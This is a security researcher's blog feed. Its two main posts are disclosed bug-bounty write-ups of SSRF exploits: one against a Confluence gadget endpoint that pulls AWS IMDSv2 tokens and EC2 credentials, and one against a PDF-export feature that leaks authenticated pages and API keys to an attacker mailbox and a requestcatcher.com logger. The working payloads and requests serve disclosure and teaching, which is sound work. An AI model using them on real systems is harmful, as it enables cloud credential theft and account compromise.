<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://www.yassineaboukir.com//feed.xml" rel="self" type="application/atom+xml" /><link href="https://www.yassineaboukir.com//" rel="alternate" type="text/html" /><updated>2026-04-30T12:00:45+00:00</updated><id>https://www.yassineaboukir.com//feed.xml</id><title type="html">Yassine Aboukir</title><subtitle>Application security engineering, consulting and bug bounties</subtitle><author><name>Yassine Aboukir</name></author><entry><title type="html">Top-Tier Bug bounty Hunter Mindset (BSides Ahmedadabad 2022 Keynote)</title><link href="https://www.yassineaboukir.com//blog/Top-Tier-Bug-bounty-Hunter-Mindset-(BSides-Ahmedadabad-2022-Keynote)/" rel="alternate" type="text/html" title="Top-Tier Bug bounty Hunter Mindset (BSides Ahmedadabad 2022 Keynote)" /><published>2023-02-08T00:00:00+00:00</published><updated>2023-02-08T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/Top-Tier-Bug-bounty-Hunter-Mindset-(BSides-Ahmedadabad-2022-Keynote)</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/Top-Tier-Bug-bounty-Hunter-Mindset-(BSides-Ahmedadabad-2022-Keynote)/"><![CDATA[<p>This is an opening keynote talk that was delivered at <a href="https://www.nahamcon.com/">BSides Ahmedabad 2022</a> conference. The topic is not an introduction into bug bounties but rather presenting high-level approaches to step up your testing methodology and aim to become a top-tier bug bounty hunter who focuses on quality research and high severity security bugs.</p>

<div class="embed-container">
  <iframe src="https://www.youtube.com/embed/QhpqBnu5MXo" width="735" height="480" frameborder="0" allowfullscreen="">
  </iframe>
</div>

<object data="https://www.yassineaboukir.com/talks/BSidesAhmedabad2022.pdf" width="735" height="900" type="application/pdf"></object>]]></content><author><name>Yassine Aboukir</name></author><category term="bug bouties" /><category term="appsec" /><summary type="html"><![CDATA[This is an opening keynote talk that was delivered at BSides Ahmedabad 2022 conference. The topic is not an introduction into bug bounties but rather presenting high-level approaches to step up your testing methodology and aim to become a top-tier bug bounty hunter who focuses on quality research and high severity security bugs.]]></summary></entry><entry><title type="html">Hunting for Amazon Cognito Security misconfigurations (NahamCon EU 2022)</title><link href="https://www.yassineaboukir.com//blog/hunting-for-amazon-cognito-security-misconfigurations-(NahamCon-EU-2022)/" rel="alternate" type="text/html" title="Hunting for Amazon Cognito Security misconfigurations (NahamCon EU 2022)" /><published>2022-12-27T00:00:00+00:00</published><updated>2022-12-27T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/hunting-for-amazon-cognito-security-misconfigurations-(NahamCon-EU-2022)</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/hunting-for-amazon-cognito-security-misconfigurations-(NahamCon-EU-2022)/"><![CDATA[<p>This is a talk that was delivered as part of <a href="https://www.nahamcon.com/">NahamCon EU 2022</a> virtual conference. The topic outlines and discusses a few common security misconfigurations that affects Amazon Cognito implementation along with various techniques and methods to test against these security issues.</p>

<div class="embed-container">
  <iframe src="https://www.youtube.com/embed/TuiDJ5Ii6MU" width="735" height="480" frameborder="0" allowfullscreen="">
  </iframe>
</div>

<object data="https://www.yassineaboukir.com/talks/NahamConEU2022.pdf" width="735" height="900" type="application/pdf"></object>]]></content><author><name>Yassine Aboukir</name></author><category term="bug bouties" /><category term="appsec" /><summary type="html"><![CDATA[This is a talk that was delivered as part of NahamCon EU 2022 virtual conference. The topic outlines and discusses a few common security misconfigurations that affects Amazon Cognito implementation along with various techniques and methods to test against these security issues.]]></summary></entry><entry><title type="html">Recon flow, bug bounty, mental health and more! (Interview with Nahamsec &amp;amp; Jhaddix)</title><link href="https://www.yassineaboukir.com//blog/Recon-flow-bug-bounty-mental-health-and-more!-(Interview-with-Nahamsec-&-Jhaddix)/" rel="alternate" type="text/html" title="Recon flow, bug bounty, mental health and more! (Interview with Nahamsec &amp;amp; Jhaddix)" /><published>2022-05-28T00:00:00+00:00</published><updated>2022-05-28T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/Recon-flow-bug-bounty-mental-health-and-more!-(Interview-with-Nahamsec-&amp;-Jhaddix)</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/Recon-flow-bug-bounty-mental-health-and-more!-(Interview-with-Nahamsec-&amp;-Jhaddix)/"><![CDATA[<p>This is an interview hosted by Nahamsec and Jhaddix where we discuss bug bounties, how to approach a target and various methodologies to do recon effectively, mental health among other related topics.</p>

<div class="embed-container">
  <iframe src="https://www.youtube.com/embed/FU1fWMwGMuY" width="735" height="480" frameborder="0" allowfullscreen="">
  </iframe>
</div>]]></content><author><name>Yassine Aboukir</name></author><category term="bug bouties" /><summary type="html"><![CDATA[This is an interview hosted by Nahamsec and Jhaddix where we discuss bug bounties, how to approach a target and various methodologies to do recon effectively, mental health among other related topics.]]></summary></entry><entry><title type="html">Exploitation of an SSRF vulnerability against EC2 IMDSv2</title><link href="https://www.yassineaboukir.com//blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2/" rel="alternate" type="text/html" title="Exploitation of an SSRF vulnerability against EC2 IMDSv2" /><published>2022-04-28T00:00:00+00:00</published><updated>2022-04-28T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2/"><![CDATA[<p>The <a href="https://www.yassineaboukir.com/blog/exploiting-a-double-edged-SSRF-for-server-and-client-side-impact/">CapitalOne security breach</a> back in 2019 was quite an interesting incident that made news headlines as the attackers were able to leak customers’ PII as well as credit card information.</p>

<p>The attackers took advantage of an SSRF (Server-Side Request Forgery) vulnerability to gain unauthorized access to their AWS infrastructure but before this incident, exploiting this class of vulnerability to exfiltrate AWS security credentials was almost straightforward since organizations relied on <strong>EC2 Instance Metadata Service v1 (IMDSv1)</strong> which is less secure as it allows reaching the metadata endpoint located at <code class="language-plaintext highlighter-rouge">http://169.254.169.254</code> with a simple <code class="language-plaintext highlighter-rouge">GET</code> request within the instance.</p>

<p>Since then, AWS has decided to roll out <strong>IMDSv2</strong> as an in-depth defense to reduce the likelihood of a successful SSRF exploitation against this endpoint, so now it only accepts authenticated requests and works as follows:</p>

<center><img src="/images/imdsv2.png" height="" width="" /></center>
<p><em>Source: https://medium.com/@shurmajee/aws-enhances-metadata-service-security-with-imdsv2-b5d4b238454b</em></p>

<p>Essentially, you will need to send a <code class="language-plaintext highlighter-rouge">PUT</code> request to <code class="language-plaintext highlighter-rouge">http://169.254.169.254/latest/api/token</code> with the following header <code class="language-plaintext highlighter-rouge">X-aws-ec2-metadata-token-ttl-seconds: 21600</code>, then you’ll receive a session token that’s valid for up to 6 hours (21600 seconds) which can be used as many times as you want but only from the same EC2 instance where that session began.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
</code></pre></div></div>

<p>Next, you can request the metadata endpoint <code class="language-plaintext highlighter-rouge">http://169.254.169.254/latest/meta-data/profile</code> by sending the following HTTP header: <code class="language-plaintext highlighter-rouge">X-aws-ec2-metadata-token: $TOKEN</code> along with the request and appending by appending the session token to it ($TOKEN).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
</code></pre></div></div>

<p>As you might have experienced yourself, the majority of SSRF vulnerabilities are limited to a GET request so this is supposed to make it fairly difficult and challenging to exploit them unless the attacker has full control over the HTTP method and HTTP headers.</p>

<p><a href="https://twitter.com/thaivd98">Thái Vũ</a> and I were collaborating on this bug bounty program for which the initial subdomains reconnaissance identified a couple of Atlassian Confluence instances.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://confluence.dev.████████.com
http://confluence.production.dev.████████.com
http://confluencesecurity.staging.dev.████████.com
</code></pre></div></div>

<p>We’re going to use all these instances interchangeably throughout this post but we confirmed they were all vulnerable to <a href="https://jira.atlassian.com/browse/JRASERVER-69793">CVE-2019-8451</a> using Burpsuite Collaborator as follows:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/plugins/servlet/gadgets/makeRequest?url=http://03jve28sg5djvfbj9f00xzjogz.burpcollaborator.net/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">confluence.dev.████████.com</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">X-Atlassian-Token</span><span class="p">:</span> <span class="s">no-check</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">322</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>

</code></pre></div></div>

<p>And we got a hit:</p>

<center><img src="/images/collaborator2.png" height="" width="" /></center>

<p>The next step was to find a way to reach their internal network but that was fortunately straightforward by pointing URL to <code class="language-plaintext highlighter-rouge">127.0.0.1</code> and running Burp Intruder on the port part to enumerate all the available services they might be using internally. It turned out there wasn’t much as we only found two open ports:</p>

<p>Nginx web server and proxy running on port <code class="language-plaintext highlighter-rouge">80</code>:</p>

<center><img src="/images/nginx2.png" height="" width="" /></center>

<p>and the confluence instance itself running on port <code class="language-plaintext highlighter-rouge">5000</code>:</p>
<center><img src="/images/port5000.png" height="" width="" /></center>

<p>We went ahead and confirmed the host was running on AWS infrastructure as you can see below:</p>

<center><img src="/images/aws-confirmed.png" height="" width="" /></center>

<p>so, we naturally attempted to reach AWS metadata endpoint by pointing the URL to <code class="language-plaintext highlighter-rouge">http://169.254.169.254/</code> but that didn’t work as it returned <code class="language-plaintext highlighter-rouge">401 - unauthorized</code> status.</p>

<center><img src="/images/401.png" height="" width="" /></center>

<p>It was obvious that the endpoint is indeed accessible but requires some sort of authentication so after some research we concluded that they’re most certainly using <code class="language-plaintext highlighter-rouge">IMDSv2</code> as we aforementioned.</p>

<p>Initially, we thought we hit a dead-end and considered submitting it as P3 at best but we decided to dig a bit further and figure out if there is any way we can control the HTTP request.</p>

<p>Atlassian gadgets use the new <a href="https://developers.google.com/gadgets">Google gadgets.* API</a> defined by the OpenSocial specification so to load dynamic data into the gadget, you will make Ajax calls using <code class="language-plaintext highlighter-rouge">gadgets.io.makeRequest()</code> to the remote server - it appears this endpoint takes in various other parameters such as: <code class="language-plaintext highlighter-rouge">httpmethod</code>, <code class="language-plaintext highlighter-rouge">postData</code> and <code class="language-plaintext highlighter-rouge">headers</code> to name a few.</p>

<p>This is everything we needed to make our exploit work so the next step was to leverage these parameters in order to retrieve the session token, so we sent a <code class="language-plaintext highlighter-rouge">PUT</code> to <code class="language-plaintext highlighter-rouge">http://169.254.169.254/latest/api/token</code> along with <code class="language-plaintext highlighter-rouge">X-aws-ec2-metadata-token-ttl-seconds: 21600</code> header as mentioned earlier. See:</p>

<center><img src="/images/get-session.png" height="" width="" /></center>

<p>The session token was successfully returned and now it’s time to use it to send an authenticated request to access the metadata endpoint. We found out that <code class="language-plaintext highlighter-rouge">makeRequest</code> was accepting POST request too so we did something like this:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/plugins/servlet/gadgets/makeRequest</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">confluence.dev.████████.com</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">X-Atlassian-Token</span><span class="p">:</span> <span class="s">no-check</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">322</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">close</span>

url=http://169.254.169.254/latest/meta-data&amp;httpMethod=GET&amp;headers=X-aws-ec2-metadata-token=AQAEAH7TsExwreOTsHbZjebiYB7ypANA_l6JycUp2g0hDYNN9-kucA==
</code></pre></div></div>

<p>But this wasn’t working for some reason as it’s still returning <code class="language-plaintext highlighter-rouge">401</code> so we figured the base64 <code class="language-plaintext highlighter-rouge">==</code> at the end of the token might be causing the issue which we confirmed to be stripped out in the request when we tried it against our collaborator endpoint. See:</p>

<center><img src="/images/collaborator.jpg" height="" width="" /></center>

<p>So we URL-encoded and still didn’t work, we <strong>double URL-encoded</strong> it then it worked this time and we had the meta-data content returned:</p>

<center><img src="/images/meta-data.png" height="" width="" /></center>

<p>That was such a relief! we also requested <code class="language-plaintext highlighter-rouge">http://169.254.169.254/latest/user-data</code> and found a bash script used to automate the installation and deployment of these confluence instances and it surprisingly contained a good amount of hardcoded credentials for PostgreSQL database on AWS RDS, Tenable Nessus agent`, Hibernate connection password, etc.</p>

<center><img src="/images/user-data.png" height="" width="" /></center>

<p>This is a pretty bad security practice which AWS itself advises against since credentials hosted on the metadata endpoint should be shortlived and expire after a period of time.</p>

<center><img src="/images/warning.png" height="" width="" /></center>

<p>Then, to finalize the proof of concept, we naturally had to exfiltrate the EC2 security credentials from <code class="language-plaintext highlighter-rouge">http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance</code> before writing up and submitting the report.</p>

<center><img src="/images/security-credentials.png" height="" width="" /></center>

<p>If you want to go further, you can validate and enumerate all the other AWS services and permissions these security credentials have access to by using <a href="https://github.com/nccgroup/ScoutSuite">ScoutSuite</a> auditing tool for instance.</p>]]></content><author><name>Yassine Aboukir</name></author><category term="bug bounties" /><category term="appsec" /><summary type="html"><![CDATA[The CapitalOne security breach back in 2019 was quite an interesting incident that made news headlines as the attackers were able to leak customers’ PII as well as credit card information.]]></summary></entry><entry><title type="html">Refactoring and deploying ASNLookup.com &amp;amp; REST API on AWS</title><link href="https://www.yassineaboukir.com//blog/refactoring-and-relaunching-ASNLookup.com-along-with-an-API/" rel="alternate" type="text/html" title="Refactoring and deploying ASNLookup.com &amp;amp; REST API on AWS" /><published>2022-04-18T00:00:00+00:00</published><updated>2022-04-18T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/refactoring-and-relaunching-ASNLookup.com-along-with-an-API</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/refactoring-and-relaunching-ASNLookup.com-along-with-an-API/"><![CDATA[<p><a href="https://asnlookup.com">ASNLookup.com</a> is a small service that provides data and insights into <a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)">ASN (Autonomous System)</a> numbers. The latter is a globally unique 16 digit identification number assigned to an entity or organization and points to a set of internet routable IP prefixes that belong to them. For example, <a href="https://asnlookup.com/asn/AS32934">AS32934</a> belongs to Facebook and defines a number of IPv4 and IPv6 that are registered and owned by them.</p>

<p>ASNLookup service has been around for over 4 years now and I’ve initially built it for security researchers to help them with reconnaissance by identifying IP spaces owned by specific organizations. The service was widely used either through the website, <a href="https://github.com/yassineaboukir/asnlookup">python wrapper</a> or the API endpoint I made available for free. I was running it free of charge which was a bit costly, but at one point in time, it started going down regularly because of companies that were abusing the API that I initially set up for individuals and researchers.</p>

<center><img src="/images/old_asnlookup.png" height="300" width="400" /></center>

<p>The backend was nothing fancy at all! It was a simple CSV file as a database and a Flask application with one view and python data processor. For the most part, Linux OOM Killer would always terminate the application process when it was running out of memory and can’t handle that much traffic coming from these companies.</p>

<center><img src="/images/asnlookup_down.png" height="300" width="400" /></center>

<p>Yet, to my surprise, this little service has actually received a sponsoring and acquisition offer from a renowned company dealing in IP and geolocation data. I couldn’t believe someone would be interested in it but I had a feeling it wouldn’t be an interesting offer so it wasn’t worth it, hence I respectfully declined the offer and informed them of my plan to build it out which I, unfortunately, haven’t done.</p>

<center><img src="/images/asnlookup_offer.png" height="200" width="500" /></center>

<p>Fast forward two years, I decided to take it as a fun project so it was time to refactor the codebase and properly build the service as <strong>API-as-a-Product</strong> to get rid of these greedy companies abusing the free API, or at least monetize it so that it covers, at least, its hosting costs. It was also an opportunity for me to leverage my new acquired knowledge in software engineering and test out Amazon web services as well to become more familiar with.</p>

<p>The new refactored version of ASNLookup API is serverless and leverages additional data sources. It uses Django REST framework that was separately deployed on a Lambda function with AWS API gateway set up to trigger and route HTTP requests to it. The API gateway allows me to secure the endpoint by requiring an API key to be sent as part of HTTP request headers. And the deployment process was fortunately smooth and easy thanks to <a href="https://github.com/zappa/Zappa">Zappa</a> which handles all configurations and allows quick updates with a single command.</p>

<p>Since I have no desire to handle payments and billing data nor do I want to spend time building it, I decided to use <a href="https://rapidapi.com">RapidAPI</a> service to allow users to subscribe to the API and make it available in their API marketplace.</p>

<p>Regarding the database, it uses PostgreSQL whcih was separately hosted on AWS RDS, not to overload the main servers. It was relatively quick and intuitive set up and connect to it but you must be careful with security configurations when you expose the instance publicly.</p>

<p>The main web application is also built with Django and hosted separately on EC2 but I think Amazon pricing for these instances is a bit on the expensive side given the low specs they offer and compared to other cloud providers such as DigitalOcean and Hetzner which I currently use for other projects. I tried to host it elsewhere but the latency was extremely high when I started migrating data from Hetzner server hosted in central EU to AWS RDS in east US - it was ridiculously slow! I assume part of it was caused by the distance between the data centers but it was still unreasonable, therefore I had to switch back to EC2.</p>

<p>Although I used Django internal caching mechanisms to make the application run faster, I also put up Cloudflare CDN in the front to handle traffic and to add an additional security layer but the free DNS level SSL provided was also the cherry on top.</p>

<p>So I’d like present you the new ASNLookup service available at <a href="https://asnlookup.com">asnlookup.com</a></p>

<center><img src="/images/new_asnlookup.png" height="300" width="800" /></center>]]></content><author><name>Yassine Aboukir</name></author><category term="software engineering" /><summary type="html"><![CDATA[ASNLookup.com is a small service that provides data and insights into ASN (Autonomous System) numbers. The latter is a globally unique 16 digit identification number assigned to an entity or organization and points to a set of internet routable IP prefixes that belong to them. For example, AS32934 belongs to Facebook and defines a number of IPv4 and IPv6 that are registered and owned by them.]]></summary></entry><entry><title type="html">Exploiting a double-edged SSRF for server and client-side impact</title><link href="https://www.yassineaboukir.com//blog/exploiting-a-double-edged-SSRF-for-server-and-client-side-impact/" rel="alternate" type="text/html" title="Exploiting a double-edged SSRF for server and client-side impact" /><published>2022-04-03T00:00:00+00:00</published><updated>2022-04-03T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/exploiting-a-double-edged-SSRF-for-server-and-client-side-impact</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/exploiting-a-double-edged-SSRF-for-server-and-client-side-impact/"><![CDATA[<p>Just like a knife with two cutting edges, this is a story of a double-edged <code class="language-plaintext highlighter-rouge">Server-Side Request Forgery (SSRF)</code> vulnerability which was successfully exploited to achieve and demonstrate both server and client-side security impact which is not very common to come across, at least in my own experience.</p>

<p>I was looking into a private bug bounty program that belongs to an organization offering a network monitoring solution so while poking around and testing out their various features, I ran some network tests using their agent then I took notice of this small feature that allows users to export the results of the test by sending you a PDF copy by e-mail. The request was the following:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /api/ui/export/exportPage?format=pdf&amp;emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&amp;location=/v4/export/synthetics/tests/780/results
Host: app.████████.com
</span></code></pre></div></div>

<p>To my surprise, when I received the PDF report in the e-mail, it was literally a screenshot of the result’s web page so I went back to double check the endpoint and got intrigued by <code class="language-plaintext highlighter-rouge">location</code> parameter. I assumed the backend was probably taking a screenshot of the page at <code class="language-plaintext highlighter-rouge">/v4/export/synthetics/tests/780/results</code> and e-mailing it to the user.</p>

<p>To verify my assumption, I changed the value of <code class="language-plaintext highlighter-rouge">location</code> parameter to point to another authenticated route within the application, such as <code class="language-plaintext highlighter-rouge">/v4/onboarding/device-status/80219</code>.</p>

<p>Bingo! it worked as I received a PDF screenshot of that authenticated web page, so I was curious how this feature could be implemented in the backend and if there is any way we can point it to a different host, internal or external. I decided to run some tests as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&amp;location=//example.com
&amp;location=https://example.com
</code></pre></div></div>

<p>The PDF report contained a screenshot of a <code class="language-plaintext highlighter-rouge">404 error</code> which I was already familiar with, therefore I went with the assumption that the backend was most likely taking the value of <code class="language-plaintext highlighter-rouge">location</code> parameter, appending it to the host and then taking a screenshot, i.e:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://app.████████.com/v4/export/synthetics/tests/780/results
</code></pre></div></div>

<p>If that is the case, then we can try common SSRF bypasses such as: <code class="language-plaintext highlighter-rouge">@example.com</code> or <code class="language-plaintext highlighter-rouge">.example.com</code> which, should they work, would result in the backend issuing an HTTP request to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://app.████████.com@example.com
https://app.████████.com.example.com
</code></pre></div></div>

<p>Well, both did work and received the below PDF report in the e-mail:</p>

<p><img src="/images/ssrf-example.png" alt="Example.com" /></p>

<p>Since we have a confirmed SSRF, we need to maximize its security impact by attempting to hopefully exploit it against their internal network, so naturally, the first test I ran was pointing the <code class="language-plaintext highlighter-rouge">location</code> parameter to internal hosts using various common techniques as described in this <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#ssrf-url-for-digital-ocean">repository</a>.</p>

<p>I tried payloads like <code class="language-plaintext highlighter-rouge">@127.0.0.1</code>, <code class="language-plaintext highlighter-rouge">@localhost</code>,  <code class="language-plaintext highlighter-rouge">@spoofed.burpcollaborator.net</code> that points to the loopback address, <code class="language-plaintext highlighter-rouge">301 redirection</code>, etc. but unfortunately, none of them worked as I was receiving a blank PDF report.</p>

<p>I looked for more internal hosts other than the typical ones which seem to be blacklisted, therefore I did a quick subdomains reconnaissance using <code class="language-plaintext highlighter-rouge">Amass</code> but it didn’t yield anything interesting so I searched on Github and I found a repository that referenced <code class="language-plaintext highlighter-rouge">https://redash.iad1.████████.com</code> which appears to be an internal host that was alive but not publicly accessible.</p>

<p>I quickly set the <code class="language-plaintext highlighter-rouge">location</code> parameter value to <code class="language-plaintext highlighter-rouge">@redash.iad1.████████.com</code> and got this PDF report in the mailbox:</p>

<p><img src="/images/ssrf-redash.png" alt="Redash" /></p>

<p>Well, that escalated quickly! The host was running an instance of <code class="language-plaintext highlighter-rouge">Redash</code> with the login credentials auto-saved in <strong>plain-text</strong>. I thought they might be running other DevOps tools under <code class="language-plaintext highlighter-rouge">.iad1.████████.com</code>, so I manually fuzzed some popular project names, such as:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- @jenkins.iad1.████████.com
- @k8s.iad1.████████.com
- @github.iad1.████████.com
- Etc.
</code></pre></div></div>

<p>Then, <code class="language-plaintext highlighter-rouge">puppet.iad1.████████.com</code> was the jackpot! <code class="language-plaintext highlighter-rouge">puppet</code> is a software used to manage the infrastructure from servers’ configuration, deployment to orchestration, etc. That was the only guess I needed because I received a <strong>10 pages</strong> PDF report which literally listed all of their internal hosts as you can see:</p>

<p><img src="/images/ssrf-puppet1.png" alt="Puppet" />
<img src="/images/ssrf-puppet2.png" alt="Puppet" /></p>

<p>I tried to hit a few of these internal endpoints and they seemed to be all accessible:</p>
<h2 id="elastic">Elastic:</h2>

<p><img src="/images/ssrf-elastic.png" alt="elastic" /></p>

<h2 id="kibana">Kibana:</h2>

<p><img src="/images/ssrf-kibana.png" alt="Kibana" /></p>

<p>At this point, we have a nicely exploitable SSRF to report to the program but I decided to explore the vulnerable endpoint a bit further. There are three important notes that I initially dismissed if you refer back to our previous HTTP request:</p>

<ul>
  <li>The GET endpoint was not protected against CSRF attacks.</li>
  <li>It takes a screenshot of any authenticated web page.</li>
  <li>It sends the screenshot to the address provided in <code class="language-plaintext highlighter-rouge">email</code> JSON parameter.</li>
</ul>

<p>Consequently, by sending a specially crafted URL to a legitimate user, I can screenshot any authenticated page of theirs and send the report to my own e-mail address so the exploit would be as simple as:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://app.████████.com/api/ui/export/exportPage?format=pdf&amp;emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&amp;location=/v4/settings/users
</code></pre></div></div>

<p>Clicking on the above link would take a screenshot of <code class="language-plaintext highlighter-rouge">/v4/settings/users</code> web page and then e-mail it to <code class="language-plaintext highlighter-rouge">yassineaboukir@wearehackerone.com</code> which is the attacker’s email address - this was disclosing information for any other authenticated endpoint like networks agents at <code class="language-plaintext highlighter-rouge">/v4/synthetics/agents</code>, network classifications at <code class="language-plaintext highlighter-rouge">/v4/settings/network-classification</code>.</p>

<p>Afterwards, I set up an HTTP logger at <code class="language-plaintext highlighter-rouge">requestcatcher.com</code> then pointed the <code class="language-plaintext highlighter-rouge">location</code> parameter to my webhook <code class="language-plaintext highlighter-rouge">@testing1337.requestcatcher.com</code>. Unexpectedly, the HTTP request was found to be leaking my account’s <strong>e-mail address</strong> as well as <strong>API key</strong> through the its headers: <code class="language-plaintext highlighter-rouge">X-CH-Auth-Api-Email</code>, <code class="language-plaintext highlighter-rouge">X-CH-Auth-Api-Token</code>.</p>

<p><img src="/images/requestcatcher.png" alt="Request Catches" /></p>

<p>Therefore, we can leverage this endpoint to leak any organization’s email and API key associated with their account by simply misleading the user to click on:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://app.████████.com/api/ui/export/exportPage?format=pdf&amp;emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&amp;location=@test.requestcatcher.com
</code></pre></div></div>

<p>At this point, I decided to wrap up my research and submitted a comprehensive report to the program which fixed and rewarded it their maximum bounty award. I’d like to thank <a href="https://hackerone.com/ninetynine">ninetynine</a> for their collaboration and thank you for taking time to read until the end.</p>]]></content><author><name>Yassine Aboukir</name></author><category term="bug bouties" /><category term="appsec" /><summary type="html"><![CDATA[Just like a knife with two cutting edges, this is a story of a double-edged Server-Side Request Forgery (SSRF) vulnerability which was successfully exploited to achieve and demonstrate both server and client-side security impact which is not very common to come across, at least in my own experience.]]></summary></entry><entry><title type="html">Automated monitoring of subdomains for fun and profit — Release of Sublert</title><link href="https://www.yassineaboukir.com//blog/automated-monitoring-of-subdomains-for-fun-and-profit-release-of-sublert/" rel="alternate" type="text/html" title="Automated monitoring of subdomains for fun and profit — Release of Sublert" /><published>2019-03-10T00:00:00+00:00</published><updated>2019-03-10T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/automated-monitoring-of-subdomains-for-fun-and-profit-release-of-sublert</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/automated-monitoring-of-subdomains-for-fun-and-profit-release-of-sublert/"><![CDATA[<p>Bug bounty has become a fast-growing industry with programs launching almost daily bringing along with it a fierce competition among hackers. It’s a sort of a monetized race which revolves around the first one to report a bug: first come, first served. Therefore, it’s essential to step up your game and try to stay ahead of the game. Learning and expanding your skill set is one way to do it but also improving your testing methodology is quite important, and polishing you reconnaissance for instance surely going to help a bunch.</p>

<p>In this regard, I have built a security and reconnaissance tool that I’ve been using for quite some time. It should allow you to monitor subdomains of specific organizations automatically and get notified each time something is found.</p>

<p>The tool was announced at <code class="language-plaintext highlighter-rouge">OWASP Seasides</code> during <code class="language-plaintext highlighter-rouge">NullCon 2019</code> which took place in the beautiful city of Goa, India.</p>

<p><strong>Read more:</strong> https://medium.com/@yassineaboukir/automated-monitoring-of-subdomains-for-fun-and-profit-release-of-sublert-634cfc5d7708</p>]]></content><author><name>Yassine Aboukir</name></author><category term="bug bouties" /><category term="appsec" /><summary type="html"><![CDATA[Bug bounty has become a fast-growing industry with programs launching almost daily bringing along with it a fierce competition among hackers. It’s a sort of a monetized race which revolves around the first one to report a bug: first come, first served. Therefore, it’s essential to step up your game and try to stay ahead of the game. Learning and expanding your skill set is one way to do it but also improving your testing methodology is quite important, and polishing you reconnaissance for instance surely going to help a bunch.]]></summary></entry><entry><title type="html">Python module UrlParse security inconsistency</title><link href="https://www.yassineaboukir.com//blog/Python-module-UrlParse-security-inconsistency/" rel="alternate" type="text/html" title="Python module UrlParse security inconsistency" /><published>2015-03-03T00:00:00+00:00</published><updated>2015-03-03T00:00:00+00:00</updated><id>https://www.yassineaboukir.com//blog/Python-module-UrlParse-security-inconsistency</id><content type="html" xml:base="https://www.yassineaboukir.com//blog/Python-module-UrlParse-security-inconsistency/"><![CDATA[<p>URLparse defines a standard interface to break URL strings up in components (addressing scheme, network location, path etc.). E.g:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">urlparse</span> <span class="kn">import</span> <span class="n">urlparse</span><span class="p">,</span> <span class="n">urlunparse</span> 
<span class="n">urlparse</span><span class="p">(</span><span class="s">"https://www.example.com/connect/login"</span><span class="p">)</span>
<span class="n">ParseResult</span><span class="p">(</span><span class="n">scheme</span><span class="o">=</span><span class="s">'https'</span><span class="p">,</span> <span class="n">netloc</span><span class="o">=</span><span class="s">'www.example.com'</span><span class="p">,</span> <span class="n">path</span><span class="o">=</span><span class="s">'/connect/login'</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">query</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">fragment</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
</code></pre></div></div>

